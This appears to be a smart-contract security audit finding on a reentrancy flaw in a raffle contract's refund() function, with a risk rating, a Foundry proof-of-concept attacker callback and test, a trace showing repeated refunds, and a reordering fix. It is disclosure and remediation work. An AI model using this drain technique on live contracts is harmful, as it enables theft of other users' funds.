Root + Impact
Description
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "...");
require(playerAddress != address(0), "...");
@> payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
}
Risk
Likelihood: High — any participant can trigger it with a single call to refund(), no special conditions required.
Impact: High — complete loss of contract funds: the entrance fees of every other active player plus any accrued protocol fees are drained in one transaction.
Proof of Concept
This Foundry test deploys an attacker contract that re-enters refund()
through its receive() callback. Because players[playerIndex] is only zeroed
after the ETH is sent, each re-entry passes the same checks and the refund
repeats until the contract is drained. The trace below shows refund(4) being
called five times in a single transaction.
function test_reentrancy_drains_contract() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(attacker), entranceFee * 2);
uint256 balanceBefore = address(puppyRaffle).balance;
attacker.attack{value: entranceFee}();
uint256 balanceAfter = address(puppyRaffle).balance;
assertLt(balanceAfter, entranceFee);
assertGt(address(attacker).balance, entranceFee);
assertLt(balanceAfter, balanceBefore);
}
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
Execution trace — refund(4) is called 5 times nested before any state update:
[91802] PuppyRaffle::refund(4)
├─ ReentrancyAttacker::receive{value: 1e18}()
│ ├─ PuppyRaffle::refund(4)
│ │ ├─ ReentrancyAttacker::receive{value: 1e18}()
│ │ │ ├─ PuppyRaffle::refund(4)
... (5 calls total)
Result: [PASS]. The attacker ends with more ETH than it deposited,
confirming theft of the other participants' fees.
Recommended Mitigation
Apply the Checks-Effects-Interactions pattern: zero out the player slot and
emit the event before sending ETH, so a re-entrant call fails the
address(0) check. A nonReentrant guard can be added as defense in depth, but
reordering is the primary fix.
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "...");
require(playerAddress != address(0), "...");
- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
}